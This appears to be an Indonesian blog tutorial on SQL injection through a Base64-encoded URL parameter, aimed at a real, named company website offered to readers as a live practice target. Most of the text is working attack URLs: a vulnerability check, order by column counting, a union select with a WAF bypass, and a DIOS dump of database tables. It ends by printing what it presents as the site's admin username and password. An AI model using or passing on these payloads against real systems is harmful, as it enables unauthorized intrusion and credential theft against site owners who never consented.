Jika kita ketahui teknik ini sebenarnya mudah, seperti SQL Injection manual biasa dan dari kita hanya butuh kesabaran dalam eksekusi target.
Dalam kasus ini, saya menggunakan Hp Android. Lalu apa aja bahan yang harus diperlukan? Simak penjelasan berikut ini.
1. Target
2. Tools Base64 Encode dan Decode
2. Tools Base64 Encode dan Decode
-Target
DISCLAIMER: Untuk live target yang saya berikan, mohon untuk jangan dirusak cukup jadikan sebagi bahan pembelajaran.
Nah, untuk target sebagai bahan pembelajaran, saya sudah menyiapkan untuk kamu coba test sendiri, berikut targetnya.
http://www.hindustanforge.co.in/sub_product.php?id=MTM=
-Tools Base64 Encode/Decode
Jadi untuk type SQL Injection ini kita harus membutuhkan tools untuk encode/decode dan saya sudah menyiapkan semuanya.
https://www.base64decode.org/
Yasudah daripada kamu sudah penasaran, tanpa berlama-lama langsung saja kita ke point pembahasanya saja, yuk lestgoo.
Tutorial SQL Injection Base64
Untuk yang pertama, tadi target saya seperti ini.
http://www.hindustanforge.co.in/sub_product.php?id=MTM=
Kemudian kita Decode terlebih dahulu dan menjadi seperti ini,
http://www.hindustanforge.co.in/sub_product.php?id=13
Buat yang belum mengerti cara decodenya gimana? Berikut caranya.
1. Buka Website Base64 Decode and Decode
2. Kemudian salin berikut ini MTM=
3. Lalu pastekan kode MTM= ke kolom tersebut
4. Selanjutnya tekan tombol <DECODE>
2. Kemudian salin berikut ini MTM=
3. Lalu pastekan kode MTM= ke kolom tersebut
4. Selanjutnya tekan tombol <DECODE>
Paham kan? Jika belum coba lihat gambar berikut ini,
Step 1: Cek Vuln Pada Target
Sekarang mari kita cek terlebih dahulu apakah website tersebut vuln sql injection atau tidak dengan menggunakan perintah tanda petik satu '
http://www.hindustanforge.co.in/sub_product.php?id=13'
Kita Encode dulu, maka jadinya.
http://www.hindustanforge.co.in/sub_product.php?id=MTMn
Setelah itu jalankan, dan teryata benar bahwa website tersebut vuln sqli karena setelah saya menambahkan tanda petik ' lalu diencode content pada website tersebut hilang.
Apakah ini benar-benar vuln? Sekarang untuk memastikannya bisa di injeksi atau tidak, kita lakukan comment atau balancing dibelakang tanda ' (istilahnya menggembalikan website ke tampilan semula) dengan menggunakan tanda -- -
http://www.hindustanforge.co.in/sub_product.php?id=13'-- -
Dan jangan lupa kita Encode terlebih dahulu, maka akan seperti ini,
http://www.hindustanforge.co.in/sub_product.php?id=MTMnLS0gLQ==
Website pun kembali ke tampilan semula atau normal, oke fix!
Step 2: Mencari Jumlah Table
Seperti biasanya, untuk mencari atau menghitung jumlah table yang ada didalam website tersebut, kamu bisa menggunakan perintah order by dan sampai muncul diangka berapa terdapat error tersebut.
Kita coba 1, tetapi masih normal
http://www.hindustanforge.co.in/sub_product.php?id=13' order by 1-- -
Kita Encode pake tools base64 online tadi, maka jadinya,
http://www.hindustanforge.co.in/sub_product.php?id=MTMnIG9yZGVyIGJ5IDEtLSAt
http://www.hindustanforge.co.in/sub_product.php?id=MTMnIG9yZGVyIGJ5IDEtLSAt
Kita coba 5, dan masih normal
http://www.hindustanforge.co.in/sub_product.php?id=13' order by 5-- -
http://www.hindustanforge.co.in/sub_product.php?id=13' order by 5-- -
Jangan lupa di Encode,
http://www.hindustanforge.co.in/sub_product.php?id=MTMnIG9yZGVyIGJ5IDUtLSAt
http://www.hindustanforge.co.in/sub_product.php?id=MTMnIG9yZGVyIGJ5IDUtLSAt
Kita coba 10, oh ternyata error
http://www.hindustanforge.co.in/sub_product.php?id=13' order by 10-- -
http://www.hindustanforge.co.in/sub_product.php?id=13' order by 10-- -
Encode,
http://www.hindustanforge.co.in/sub_product.php?id=MTMnIG9yZGVyIGJ5IDEwLS0gLQ==
http://www.hindustanforge.co.in/sub_product.php?id=MTMnIG9yZGVyIGJ5IDEwLS0gLQ==
Kita coba angka 9
http://www.hindustanforge.co.in/sub_product.php?id=13' order by 9-- -
http://www.hindustanforge.co.in/sub_product.php?id=13' order by 9-- -
Lalu kita Encode,
http://www.hindustanforge.co.in/sub_product.php?id=MTMnIG9yZGVyIGJ5IDktLSAt
http://www.hindustanforge.co.in/sub_product.php?id=MTMnIG9yZGVyIGJ5IDktLSAt
Setelah saya jalankan, hasilnya website tersebut normal kembali. Berarti bisa kita pahami kalau jumlah table atau kolom hanya ada sampai 9 saja.
Step 3: Mencari Angka Ajaib
Langkah selanjutnya adalah mencari angka ajaib atau magic number dengan menggunakan union select. Ingat ya, tambahkan tanda - dibelakang = supaya angka ajaibnya muncul.
http://www.hindustanforge.co.in/sub_product.php?id=-13' union select 1,2,3,4,5,6,7,8,9-- -
Jangan lupa di Encode, maka hasilnya
http://www.hindustanforge.co.in/sub_product.php?id=LTEzJyB1bmlvbiBzZWxlY3QgMSwyLDMsNCw1LDYsNyw4LDktLSAt
Setelah saya jalankan, disini ternyata union atau selectnya terkena WAF 403 Forbidden ah sialan, semoga waf ini bypassnya tidak rumit karena hanya akan bikin pusing.
Kita coba bypass waf tersebut seperti ini,
http://www.hindustanforge.co.in/sub_product.php?id=-13' /*!50000union*/ select 1,2,3,4,5,6,7,8,9-- -
Kita Encode,
http://www.hindustanforge.co.in/sub_product.php?id=LTEzJyAvKiE1MDAwMHVuaW9uKi8gc2VsZWN0IDEsMiwzLDQsNSw2LDcsOCw5LS0gLQ==
http://www.hindustanforge.co.in/sub_product.php?id=LTEzJyAvKiE1MDAwMHVuaW9uKi8gc2VsZWN0IDEsMiwzLDQsNSw2LDcsOCw5LS0gLQ==
Apakah WAF 403 Forbidden tersebut berhasil kita bypass? Setelah itu jalankan untuk melihat hasil output tersebut.
Oke mantap, waf sudah berhasil kita bypass artinya permasalahannya selesai. Disini angka ajaib website tersebut muncul angka 2.
Selanjutnya adalah kita akan dump username dan password website tersebut dengan menggunakan DIOS (Dump In One Shoot)simak caranya dibawah ini.
Step 4: Mencari Username dan Password
Untuk proses dump username dan password, disini saya menggunakan DIOS By Zen.
make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)
Kira-kira seperti berikut ini caranya dump dengan menggunakan dios,
http://www.hindustanforge.co.in/sub_product.php?id=-13' /*!50000union*/ select 1,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),3,4,5,6,7,8,9-- -
Jangan lupa di Encode dulu ya gaes,
http://www.hindustanforge.co.in/sub_product.php?id=LTEzJyAvKiE1MDAwMHVuaW9uKi8gc2VsZWN0IDEsbWFrZV9zZXQoNixAOj0weDBhLChzZWxlY3QoMSlmcm9tKGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zKXdoZXJlQDo9bWFrZV9zZXQoNTExLEAsMHgzYzZjNjkzZSx0YWJsZV9uYW1lLGNvbHVtbl9uYW1lKSksQCksMyw0LDUsNiw3LDgsOS0tIC0=
Setelah saya jalankan tampilan website tersebut seperti berikut ini,
Apa yang kamu lihat? Setelah kita masukan dios malah berantakan tablennya, tentunya ini akan sedikit menggangu proses mencari column admin, nah untuk mengakalinya tambahkan view-source diawal url seperti berikut ini,
view-source:http://www.hindustanforge.co.in/sub_product.php?id=LTEzJyAvKiE1MDAwMHVuaW9uKi8gc2VsZWN0IDEsbWFrZV9zZXQoNixAOj0weDBhLChzZWxlY3QoMSlmcm9tKGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zKXdoZXJlQDo9bWFrZV9zZXQoNTExLEAsMHgzYzZjNjkzZSx0YWJsZV9uYW1lLGNvbHVtbl9uYW1lKSksQCksMyw0LDUsNiw3LDgsOS0tIC0=
Nah kalau seperti kan lebih enak yakan? Hehe.
Baiklah, selanjutnya sekarang mencari username dan password website tersebut. Pada target disini nama columnnya adalah login dan didalam table login terdapat nama seperti id, username, dan password.
Disini saya ambil username dan passwordnya saja, nah jika kita masukan pada dios tersebut kurang lebih akan seperti ini caranya.
http://www.hindustanforge.co.in/sub_product.php?id=-13' /*!50000union*/ select 1,make_set(6,@:=0x0a,(select(1)from(login)where@:=make_set(511,@,0x3c6c693e,username,password)),@),3,4,5,6,7,8,9-- -
Oiya seperti biasanya kita Encode dulu, maka jadinya seperti ini,
http://www.hindustanforge.co.in/sub_product.php?id=LTEzJyAvKiE1MDAwMHVuaW9uKi8gc2VsZWN0IDEsbWFrZV9zZXQoNixAOj0weDBhLChzZWxlY3QoMSlmcm9tKGxvZ2luKXdoZXJlQDo9bWFrZV9zZXQoNTExLEAsMHgzYzZjNjkzZSx1c2VybmFtZSxwYXNzd29yZCkpLEApLDMsNCw1LDYsNyw4LDktLSAt
Setelah itu jalankan, maka hasilnya akan seperti berikut ini,
Hasil output tersebut adalah,
Username: HIN@2017
Password: HIN@2017
Username: HIN@2017
Password: HIN@2017
Dump username dan password berhasil. Ya kalau sudah begini, tinggal cari admin loginnya saja wkwkwk.
Selesai juga akhirnya...
Nah oke, mudah bukan tutorialnya?
Ya emang seperti inilah SQL Injection base64,sama seperti tutorial sql injection manual biasa tapi yang membedakannya disini adalah querynya terlebih dahulu harus kita convert ke base64.
Ya emang seperti inilah SQL Injection base64,sama seperti tutorial sql injection manual biasa tapi yang membedakannya disini adalah querynya terlebih dahulu harus kita convert ke base64.
Akhir kata, semoga tutorial SQL Injection Base64 yang saya tulis ini dapat bermanfaat buat teman-teman semuanya.
Terimakasih sudah membaca!
0 Komentar